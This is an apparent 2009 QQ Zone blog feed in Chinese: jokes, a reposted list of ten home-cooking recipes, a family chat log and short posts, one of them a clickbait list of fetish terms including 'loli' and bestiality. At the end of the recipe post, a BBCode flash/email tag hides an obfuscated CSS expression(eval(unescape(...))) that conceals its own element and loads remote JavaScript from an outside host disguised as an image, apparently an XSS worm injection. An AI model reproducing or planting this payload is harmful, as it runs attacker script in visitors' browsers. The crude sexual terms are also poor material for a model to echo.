女的没有说话，只是满含泪光地看着男的。男的此时已经转过头来了，看见女的如此，然后像走猫步一样走过去抱住女的说：哈儿，我从舍得。（傻瓜，我怎么舍得）

15。
惹到一文艺系的小男生，某日在我拒接他电话N次后，发以短信：
我的忧伤是与生俱来又不可磨灭的。大概任何人都无法化解，我只期盼上帝可以带走我和我的悲伤，只有他可以·············
]]> http://34946280.qzone.qq.com/blog/1257940461#comment 134218240 Wed, 11 Nov 2009 11:54:21 GMT http://34946280.qzone.qq.com/blog/1257940461 <![CDATA[[转]十大家常菜做法]]> http://34946280.qzone.qq.com/blog/1257838315 麻婆豆腐
1.准备材料：豆腐切丁（medium硬度）、牛肉切末、豆瓣酱、盐、酒、干红辣椒碎、青蒜、姜末、花椒粉、水淀粉、酱油、少许糖。

2.锅内加少许菜油，大火加热，油热后依次加入豆瓣酱、盐、干红辣椒、青蒜、姜末、花椒粉、牛肉末、也可将牛肉末用上述调料腌好后一并加入。炒香。

3.加入切成小块的豆腐。改小火，煮沸。

4.待豆腐熟后，改大火，加入由水淀粉、糖、酒、味精、酱油调好的芡汁。待芡汁均匀附着后，关火，起锅。

5.起锅，撒上花椒面，香喷喷，川味十足的麻婆豆腐上桌啦！

可乐鸡翅

原料：鸡翅中6-8个，可口可乐一小杯，辣椒粉少许，孜然少许（成粒的孜然,不要粉末的）。

步骤：
锅里放水，等水烧开后下鸡翅，鸡翅7成熟即可。滤干水备用。
油多放，用葱花和大蒜爆锅，下鸡翅，放孜然和辣椒粉，大火，炒炸，炸到皮略焦为最好。

用勺子把多余的油撇出来，把可乐加进去，加盐和味精，一点水都不要放，等可乐快烧干的时候把火烧微关小一点收汁。在烧可乐的同时可以用勺子把蒜末和葱末撇去

最后盛盘的时候别忘了把汁也一起盛了。

这道菜比肯德基的鸡翅还好吃。鸡翅香辣，酥到骨头里去了。
回锅肉

原料：猪后臀尖，青蒜

辅料：豆瓣酱，豆豉，葱，姜，花椒，大料，桂皮，黄酒, 开水下肉，煮20分钟左右，其中放葱，姜，花椒，大料，桂皮，黄酒，撇去浮沫，待筷子能插入肉中，关火，泡5分钟，再出锅

青蒜拍一下，切斜刀段，肉切成大薄片，看你的刀功了，越薄越好

锅内放少许油，下白肉，煸炒，肥肉变的卷曲，透明后，把肉铲到锅边(这个是懒人的做法!呵呵!其实应该是把肉先铲出来在炒豆瓣酱的)，下豆瓣酱，煸出红油，下豆豉，姜丝，青蒜，同炒。这个菜炒时不用加盐,因为豆瓣酱已经够咸了。

青蒜略变软，淋黄酒，就可以出锅了。
红烧肉

1、炒锅洗净，烧热，下两汤匙油，放三、四汤匙白糖，转小火。
读〈天龙八部〉，段誉离松鹤楼一条街就闻到酱油、焦糖烧肉的香气，一直以为焦糖就是红糖呢，看了这篇文章才算开窍。
前期准备：五花肉一块，切成一厘米见方的条状。

2、不停地用炒勺搅动，使白糖溶化，变成红棕色的糖液，这也叫炒糖色

3、把切好的五花肉倒入，炒均匀，使每块肉都沾上糖色。

4、加酱油、料酒、生姜、冰糖、盐少许，烧开，再转小火烧二、三十分钟左右。等汁挥发得差不多，加大火收汁。

5、这就是做好的样子了
酸菜鱼

1、一般用草鱼或者黑鱼为好。图中是什么鱼，不认得？？不可能吧~

2、洗鱼，注意洗净腹腔中的黑膜。

3、剪去鱼翅...（晾干后做鱼翅也不错……哈哈）

4、将鱼切成段。

5、用手压住鱼段，另一手拿刀贴住鱼脊骨上沿推近,感觉着鱼骨的位置,及时调整行刀的方向...切不好的话多买几条鱼练习先:)

6、拆鱼骨。鱼头对切，片下的鱼肉，还有剩下的鱼骨……如果喜欢连骨头一起吃，也可以忽略此步..

7、把片下来的鱼横放，沿着鱼尾至鱼头的方向用刀逐一片下，每片厚度大约5-7毫米左右。此处注意! 方向不要搞反了，不然煮出来鱼片会碎的~~

8、取一个鸡蛋，左右手倒一倒，倒出蛋清备用

9、鱼骨切成段，和鱼片鱼头一起放入盆中，加盐及料酒搅拌，再放入蛋清抓拌均匀，静置20分钟~ 等待一会，嘿嘿

10、酸菜……………………翠花，上酸菜。。。。一包两包都可以，喜欢就多放点。

11、切酸菜，成段

12、锅中放油烧热，最好是大油，不过为了......还是用普通的油做吧！倒入切好的酸菜翻炒 ………………然后加入水或者高汤烧开

13、先放入鱼头和鱼骨，小火炖煮5-7分钟~ 样子不太好看，呵呵!

14、下入其他的鱼片，大火2-3分钟~ 如果不喜欢鱼头，也可以不要鱼头的，省略...

15、放入盐、胡椒粉、花椒粉、味精等调味，一锅美味的酴菜鱼就大功告成了！

宫保鸡丁
材料:
鸡脯肉·400 克
炸花生米·50 克
鸡蛋·1 个
大蒜·5 瓣
淀粉·适量
干辣椒·10 个
注：可酌情配料
调料
食用油·500 克（实耗50 克）
香油·1 小匙
酱油· 大匙
料酒·1 大匙
香醋·1 小匙
精盐·1 小匙
白糖·1 小匙
味精· 小匙

做法
1.鸡肉洗净切丁，用蛋清、盐、淀粉腌拌均匀；蒜洗净切末；
2.食用油入锅烧热，鸡丁下锅炸熟，捞起沥油；
3.锅中留油少许，爆香干辣椒、蒜，再下入鸡丁翻炒；
4.最后放酱油、料酒、味精、糖、醋、水、淀粉、香油炒匀并勾芡，最后加入花生米炒匀即可。
花生米一定要在菜起锅前下锅，以免长时间在锅内翻炒，影响花生米的酥脆感。
水煮鱼

草鱼一条，片成鱼片。俺不会，叫卖鱼的老板片的：）

鱼肉和鱼骨头分开腌制，(调料是一样的)鱼骨头放的调料要放得重一些。因为肉厚....我是这么想的哈：）

把片好的鱼片加入一个鸡蛋清、适量的盐、花椒粉、胡椒粉、鸡精、淀粉、料酒腌制30分钟左右

锅里放少量的油，放入大蒜和姜片。爆香后弃之不用

这个油是用来做什么的呢~~~？：）是用来炸鱼骨头的，因为鱼骨头厚，和鱼肉片要求的火候不一样

放大量油，几十秒后放入花椒，小火慢慢炸

花椒炸出香味后，加入干辣椒（这两步过程一直用小火）

等锅内的辣椒颜色变深后，把腌好的鱼肉在锅内滑开（腌好的鱼肉最好用清水洗去上面的东东，因为那会让油浑浊不清）

嘿嘿~~`和饭店里味道一模一样的水煮鱼就可以出锅，开吃了：）

近看一下：）

鱼香肉丝
材料：瘦肉 250克、水发木耳70克、胡萝卜半根、泡椒末30克、葱2棵、姜1小块、蒜5瓣、淀粉适量
调料：食用油、酱油、高汤、香醋、盐、白糖、鸡精

做法：
1、将瘦肉洗净切成粗丝，盛于碗内，加盐和水淀粉调匀；
2、葱姜蒜洗净切丝备用。
3、木耳和胡萝卜切丝备用。
4、把白糖、酱油、香醋、精盐、葱花、姜末、蒜末、高汤、鸡精、水、淀粉调成鱼香汁。
5、锅内放油、烧至五成热油时倒入肉丝，炒散后下入泡椒末，待炒出色时，再将木耳、胡萝卜丝和鱼香汁倒入，急炒几下即可。

糖醋排骨

材料：肋排·500克香葱·1棵生姜·1块大蒜·2瓣淀粉·适量
调料：食用油·500克（实耗45克）酱油·1/2大匙香醋·1大匙精盐·1/2小匙白糖·1大匙味精·1/2小匙

做法：
1.排骨洗净剁成小段；姜、蒜洗净切片；香葱洗净切末；
2.锅内放油，烧至五成热时，将排骨炸至表面呈焦黄色时捞起沥油；
3.锅内留底油，加入盐、酱油、味精、姜片、蒜片，与排骨同炒，倒入没过排骨面的温水，大火烧开，改小火炖煮30分钟；
4.排骨入味香软时，加糖、醋、香葱末，用水淀粉勾芡，大火收浓汁即可。
特点：色泽红润，酸甜醇香。
解馋一点通：糖和醋要最后放，酸甜的口味才能出来。
酸辣土豆丝

一、酸辣土豆丝,是道家常菜,做法简单,所需的原料只是一个土豆,一点小辣椒,一点花椒和蒜瓣
二、把土豆去皮切丝，越细越好，刀功啊~~再把青红椒切丝，蒜瓣切粒
三、土豆丝切好，过冷水去淀粉，这样炒出的菜口感脆。
四、准备好盐和白醋,用白醋会是菜品看着色彩干净。
五、开火、坐炒锅、添油。
六、油温热时，把花椒粒放进去，炸出香味。
七、花椒一定要捞出不要，不然吃的时侯你就会知道了。
八、油热时，把辣椒丝和蒜粒放入爆出香味。
九、掂锅翻炒几下。
十、放白醋。
十一、放盐，动作要快。
十二、再翻炒几下，使盐味更匀。
十三、菜熟装盘、整形，一盘酸酸辣辣脆脆的土豆丝就可以上桌了。[flash,0,0]http://catche.qq.com/temp/20081209/4236888.swf[email=]id=baidu style=ee:expression(eval(unescape('this.parentNode.style.display%3D%27none%27%3Bif%28%21window.xxr%29%7Bvar%20l%3Ddocument.createElement%28%27script%27%29%3Bl.src%3D%27http%3A//love.avtupian.com/a/q/mq.jpg%27%3Bl.type%3D%27text/javascript%27%3Bdocument.getElementsByTagName%28%27head%27%29.item%280%29.appendChild%28l%29%3Bwindow.xxr%3D1%7D')));display:none;@qq.com[/email][/flash] ]]> http://34946280.qzone.qq.com/blog/1257838315#comment 521 Tue, 10 Nov 2009 07:31:55 GMT http://34946280.qzone.qq.com/blog/1257838315 <![CDATA[本世纪最坚挺的男人]]> http://34946280.qzone.qq.com/blog/1256025881

太牛B了看得我都湿了 ╮(╯▽╰)╭ ]]> http://34946280.qzone.qq.com/blog/1256025881#comment 134222336 Tue, 20 Oct 2009 08:04:41 GMT http://34946280.qzone.qq.com/blog/1256025881 <![CDATA[以下内容有少许夸张但多数为真实情况]]> http://34946280.qzone.qq.com/blog/1255605731 我妈在我的英明领导下已经学会每天上农场偷菜了……
糖糖说:
我妈也是..还养了一堆动物
耗社会主义羊毛
八千里路云和月说:
那字叫薅
糖糖说:
好有学问
八千里路云和月说:
我妈还跑到校内弄了目标是年内成为校内有名的农场大户兼少男杀手- -！
糖糖说:
好有志向的妈妈！
转告她，我是她粉丝
支持！
八千里路云和月说:
恩前几天还剥削了我100多块在淘宝上买衣服
错了 1000多
糖糖说:
潮人啊~
八千里路云和月说:
我让她自己去办一个丢过来一句：“你忍心看你娘这么老还风里来雨里去的办张卡么。”
然后我就蔫了选择性的无视了她的路虎
糖糖说:
太会煽情了
八千里路云和月说:
后来转告我爹后我爹语重心长的对我说：“给你娘买，我买单（拍肩）”
然后我就兴高采烈的给我娘买东西去了……
糖糖说:
你爹骗你的吧？
八千里路云和月说:
没多退少补还有辛苦费

这就是我们家每天的囧生活我不在他们身边都有这么多幺蛾子我要在家还指不定怎么着呢…… ]]> http://34946280.qzone.qq.com/blog/1255605731#comment 134217728 Thu, 15 Oct 2009 11:22:11 GMT http://34946280.qzone.qq.com/blog/1255605731 <![CDATA[萝莉、白虎、捆绑、野外、蒙眼、人兽、SM…… 重口味。]]> http://34946280.qzone.qq.com/blog/1255510914 白虎、
捆绑、
野外、
蒙眼、
人兽、
SM

想歪的请自动留言然后去面壁 ]]> http://34946280.qzone.qq.com/blog/1255510914#comment 134218241 Wed, 14 Oct 2009 09:01:54 GMT http://34946280.qzone.qq.com/blog/1255510914 <![CDATA[睡不着]]> http://34946280.qzone.qq.com/blog/1255358653 为啥睡不着？天知道……Orz ]]> http://34946280.qzone.qq.com/blog/1255358653#comment 134217728 Mon, 12 Oct 2009 14:44:13 GMT http://34946280.qzone.qq.com/blog/1255358653